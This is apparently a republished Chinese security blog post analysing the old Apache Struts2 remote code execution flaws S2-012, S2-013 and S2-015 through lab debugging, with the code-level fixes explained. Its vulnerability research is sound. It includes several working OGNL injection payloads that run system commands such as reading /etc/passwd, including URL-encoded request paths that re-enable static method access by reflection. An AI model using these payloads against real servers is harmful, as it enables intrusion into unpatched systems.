关于<旧文系列>前言S2-012
漏洞复现与分析可回显PoC漏洞修复 S2-013
漏洞复现与分析可回显PoC漏洞修复 S2-015
漏洞复现与分析
Vuln-1: Wildcard matchingVuln-1 可回显PoCVuln-2:Double evaluation of an expressionVuln-2 可回显PoC 漏洞修复
针对 Vuln-1:Wildcard matching 的漏洞修复针对 Vuln-2:Double evaluation of an expression 的漏洞修复 Reference
关于<旧文系列><旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。
文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31
前言
尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009
S2-012
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-012
影响版本:Struts 2.0.0 - Struts 2.3.14.2
漏洞复现与分析从漏洞公告中获悉漏洞会出现的场景:如果一个Action定义了一个变量比如uname,当触发了redirect类型的返回时,如果重定向的url后面带有?uname=${uname},则在这个过程中会对uname参数的值进行OGNL表达式计算。
下面用vulhub/struts2/s2-012中的应用进行调试分析。
该应用中定义了UserAction,并配置了redirect类型的返回,重定向的地址url为:/index.jsp?name=${name},如下图:
从漏洞公告中可获悉,漏洞是发生在返回阶段。根据Struts2/XWork的运行主线的可知,ActionInvocation在调度完Action对象后,便会去调度Result对象,如下图:
关于Struts2的运行主线等原理的详解可参考陆舟的《Struts2技术内幕》
所以,我们可以在Struts2的核心调度对象DefaultActionInvocation中开始调度Result处下断点,如下图:
继续调试,在StrutsResultSupport#conditionalParse()方法中,出现了一个熟悉的身影:TextParseUtil#translateVariables(),没错,这个方法在S2-001的漏洞触发执行栈中出现过。
可是S2-001漏洞不是早就被修复了吗,为什么还能通过TextParseUtil#translateVariables()去触发漏洞?
经调试发现,这里与S2-001还是稍有不同,这里调用的是TextParseUtil的一个重载方法,其中,第一个参数是一个char数组。而且如下图可以看到这里传入了包含两个元素的char数组,这就是S2-012为什么可以用S2-001的PoC直接打的关键,继续往下看。
可以看到,这里的while(true)循环被放置到一个for循环里了,且for循环的次数由char数组openChars的长度决定,而这里传入的openChars的长度为2,两个元素分别为$和%字符。所以下面的while(true)循环会循环两次,第一次是解析${name},解析得到结果后,继续对结果%{xxx}进行解析。因此使得S2-001漏洞重现了。(是不是感觉挺有意思的)
综上,这里可以直接用S2-001的PoC执行任意命令:
%{#p=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).start(), #is=#p.getInputStream(), #br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)), #arr=new char[50000], #br.read(#arr), #str=new java.lang.String(#arr), #writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #writer.println(#str), #writer.flush(), #writer.close()}
如果要使用Runtime#exec()方法来执行命令也可以,不过要添加#_memberAccess.allowStaticMethodAccess=true。前面使用ProcessBuilder#start(),由于不需要调用静态方法,所以无需先将SecurityMemberAccess的allowStaticMethodAccess改为true。
%{#_memberAccess.allowStaticMethodAccess=true, #a=(@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{"cat","/etc/passwd"})), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(), #f.getWriter().close()}漏洞修复
通过比对代码,发现在2.3.14.3版本的OgnlTextParser.java#evaluate()方法里,将位置索引值pos的初始化移到了for循环之前。这样修改,使得第一次OGNL表达式计算后,起始位置pos的值会更新,而不会重新置0,从而避免了二次计算OGNL表达式。
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-013
影响版本:Struts 2.0.0 - Struts 2.3.14.1
漏洞复现与分析从漏洞公告中可获悉漏洞出现在
includeParams属性接收三个值:
none:表示url中不包含参数(默认就是none)。get:表示url中只包含GET参数。all:表示url中既包括GET参数也包括POST参数。
当
其实这个漏洞和S2-001是类似的,只是这次漏洞时出现在
下面使用Struts 2.3.14.1自带的示例程序struts-blank来调试分析。运行应用之前得修改一下首页index.jsp,在
跟之前S2-001一样,找到
在关键的地方,即执行OGNL表达式计算的类和方法,比如OgnlValueStack#findValue()下断点,一路跟下去,发现在处理url参数的过程中,DefaultUrlHelper#buildParameterSubstring()会调用TextParseUtil#translateVariables(),如下图:
后面的漏洞触发流程就跟S2-012一样了。所以这个漏洞其实没什么值得说道的地方,因为跟之前出现的漏洞类似。
/xxx.action?fakeParam= %{#_memberAccess.allowStaticMethodAccess=true, #context['xwork.MethodAccessor.denyMethodExecution']=false, #[email protected]@getRuntime().exec('id').getInputStream(), #br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)), #res=new char[20000], #br.read(#res), #[email protected]@getResponse().getWriter(), #writer.println(new java.lang.String(#res)), #writer.flush(), #writer.close()}漏洞修复
在Struts2的2.3.14.2版本中,DefaultUrlHelper#buildParameterSubstring()没有再调用TextParseUtil.translateVariables()对参数进行处理了。如下图:
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-015
影响版本:Struts 2.0.0 - Struts 2.3.14.2
漏洞复现与分析S2-015实际上包括两处漏洞:
Wildcard matching:通配符匹配导致的RCEDouble evaluation of an expression:OGNL表达式二次求值导致的RCE
下面使用vulhub/s2-015对该漏洞进行进行调试分析。
Vuln-1: Wildcard matching在struts.xml配置文件中定义了通配符*访问规则,如下图:
假设请求的url中action名为xxxx,不匹配param,而是匹配通配符*,最终返回/xxxx.jsp页面,如果xxxx.jsp页面存在,则返回页面内容,如果不存在,则返回404报错页面,报错信息中包含有/S2-015/xxxx.jsp。
而如果请求的action名是一个OGNL表达式,则会进行计算。最简单的PoC,传入一个${2+3}.action,会发现被进行OGNL表达式计算,然后结果回显在404报错页面中,如下图:
从现象来看,OGNL表达式的计算也是在调度Result对象时发生的。因此,与S2-012一样,调试时可在DefaultActionInvocation开始调度Result对象时下断点,以及在OGNL表达式计算的关键方法比如OgnlValueStack#findValue()处下断点。
调试过后发现,这个漏洞触发的方法调用栈,跟S2-012是几乎一样的(不同版本代码略有差异)。它会把
在Struts2 2.3.14.2版本的SecurityMemberAccess类中,删除了setAllowStaticMethodAccess(),所以我们在构造PoC的时候就不能通过#_memberAccess['allowStaticMethodAccess']=true的方式去获取调用静态方法的能力,但可以通过反射的方式去修改该属性。另外,还可以像前面S2-001里用过的,使用ProcessBuilder#start()方法来执行系统命令,因为这种方式不需要调用静态方法。
这里使用反射修改allowStaticMethodAccess属性的方式,如下:
/S2-015/%25%7b%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%[email protected]@getRuntime().exec('id'),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[50000],%23d.read(%23e),new%20java.lang.String(%23e)%7d.action
这里换一种方式来处理命令执行的结果:使用项目依赖包commons-io里的IOUtils#toString()方法。使用这个方法的好处是,它会根据命令执行结果而返回相应长度的字符串。而不是像上面的方式那样固定的缓冲区。
%25%7B%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())%7D.actionVuln-2:Double evaluation of an expression
有ParamAction定义如下图,在该action中定义了message属性以及set/get方法。在struts.xml中还定义了success返回时的方式,使用了${message}去引用message属性的值。
其实这个漏洞本质上与S2-012是一样的,也是在定义Result的行为时,引用了Action的属性值,而Struts2在调度Result对象的过程中,会对Action的属性引用值进行二次OGNL表达式计算,从而导致可RCE。
因为是result的类型是httpheader,所以实际调度的Result对象其实是HttpHeaderResult对象。
然后在HttpHeaderResult#execute()方法中,会将参数fxxk的值${message}传入TextParseUtil#translateVariables()进行OGNL表达式求值,后面的方法调用栈就和S2-012一样了,就不再详细说了:第一次先计算${message},得到我们传入的OGNL表达式%{xxxyyyzzz...}。第二次则计算%{xxxyyyzzz...}并得到结果,并在响应头fxxk中显示。
通过正则表达式对action名进行了校验,将不在白名单里的字符给去掉。新版本的关键修复代码如下图:
通过比对代码,发现在2.3.14.3版本的OgnlTextParser.java#evaluate()方法里,将位置索引值pos的初始化移到了for循环之前。这样修改,使得第一次OGNL表达式计算后,起始位置pos的值会更新,而不会重新置0,从而避免了二次计算OGNL表达式。
[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)